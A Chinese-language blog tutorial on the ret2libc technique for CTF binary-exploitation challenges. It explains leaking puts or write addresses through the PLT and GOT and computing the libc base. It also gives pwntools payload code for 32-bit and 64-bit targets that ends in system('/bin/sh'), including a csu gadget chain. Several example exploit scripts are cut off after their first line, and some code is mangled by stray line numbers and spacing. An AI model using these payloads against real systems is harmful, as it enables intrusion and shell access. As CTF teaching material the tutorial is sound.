ROP-Ret2libc详解
利用原理
ret2libc 这种攻击方式主要是针对 动态链接(Dynamic linking) 编译的程序,因为正常情况下是无法在程序中找到像 system()
、execve()
这种系统级函数.
当程序开始运行时会加载系统库中的函数,通过函数返回地址直接指向系统库(libc.so.6
)中的函数,如system函数,从而执行例如system函数获得shell。
主要目的
劫持binary执行system(/bin/sh)
解题思路
一般有一个溢出点时,要进行两次劫持。
第一次劫持
是为了泄露出某个函数的地址(需要构造两条件)
- 控制程序
eip
指向,为第二次劫持做准备 - 寻找output函数(如
puts
和write
)和待泄露函数- 只能泄露使用了的函数:因为动态链接库的加载机制是lazy原则(got表)
- libc.so 动态链接库中的函数之间相对偏移固定。
- 每个函数的地址最低的12位并不会发生改变。(即后三位。即便开启PIE)
第二次劫持
是为了控制binary返回到libc执行system(bin/sh)
解题步骤
前骤
使用ldd确认该程序所使用的本地libc库
- 一般在打本地的程序时,都使用这个库
- 远程时,先确定泄露出的某函数的真实地址,在利用后三位在libc_database中确定所使用的库并下载到本地
第一次溢出
泄露函数真实地址得到基地址
要使用output函数,如puts和write函数(该函数的特征必须为可以输出地址数据的函数)
puts
构造payload(泄露puts函数的地址)1
2
3
4
5puts_plt_addr =elf.plt['puts']
puts_got_addr =elf.got['puts']
main_addr =elf.sym['_start']
payload = "a"*54
payload += p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)write
构造payload(泄露write函数的地址)1
2
3
4
5write_plt_addr =elf.plt['write']
write_got_addr =elf.got['write']
main_addr =elf.sym['main']
payload = "a"*60
payload += p32(write_plt_addr)+p32(main_addr)+p32(1) +p32(write_got_addr)+p32(4)- 因为write函数有三个参数,所以这里都要加上。
大概意思即为,使用puts或者write函数的plt地址来连接puts函数的got表地址,最后返回到main函数的地址
“a”*76 p32(system_addr) p32(0xdeadbeef) p32(binsh_addr) 溢出字符 要使用的函数的地址 该payload的返回地址(一般都设置位main的地址) /bin/sh的地址(要使用的函数的参数) 最后发送该payload完成第一次溢出
1
2
3sh.sendlineafter('pwned me!\n',payload)
libc_write_addr = l ibc.sym['write']
base_addr = u32(sh.recv(4))-libc_write_addr另外还需要注意几点:
- 如果出现recv的报错,可能是payload发送顺序的问题
第二次溢出
利用基地址得到system和binsh的地址以拿到shell
- 利用上一步得到的基地址算出system和binsh的真实地址
1
2system_addr = base_addr+libc.sym['system']
binsh_addr = base_addr+libc.search('/bin/sh').next() - 利用这两个地址构造二次溢出的payload
1
2
3
4max_payload = "a"*52
max_payload += p32(system_addr)
max_payload += p32(0x00000000)
max_payload += p32(binsh_addr) - 最后发送payload即可完成溢出
1
2sh.sendlineafter("pwned me!\n",max_payload)
sh.interactive()
例题
NX
思路
按照上面思路即可
EXP
1 | #-*- coding:utf-8 |
Ez_ret2libc[利用puts泄露地址]
EXP[0.0]
1 | #-*-coding:utf-8 |
Ret2libc_32[利用write泄露地址]
思路…
EXP
1 | #-*-coding:utf-8 |
Ret2libc_64[csu及gets写bss段]
思路
- 使用ROPgadget搜索该程序gadgets片段
- 只能找到 pop_rdi_ret
- 确定该程序所使用的csu_gadgets
- 使用csu_gadgets泄露write函数地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21def csu(r12,r13,r14,r15,ret_addr):
payload = offset
payload += p64(gadgets1)
payload += "b"*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r15)
payload += p64(r14)
payload += p64(r13)
payload += p64(gadgets2)
payload += "c"*56
payload += p64(ret_addr)
sh.sendline(payload)
sh.recvuntil("Pwn Me?\n")
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))
print "write:",hex(write_addr)
offset_addr = write_addr - libc.symbols['write']
success("offset_addr = 0x%x",offset_addr)
system_addr = offset_addr + libc.symbols['system'] - 确定system函数的真实地址后,这时只需要计算出libc中的binsh地址,便可以构造rop链的方式直接进行调用
1
2
3
4payload = offset
payload+= p64(0x00000000004006c3)# pop_rdi_ret
payload+= p64(offset_addr+libc.search('/bin/sh').next())
payload+= p64(system_addr)
EXP
1 | #coding:utf-8 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 偏有宸机!
评论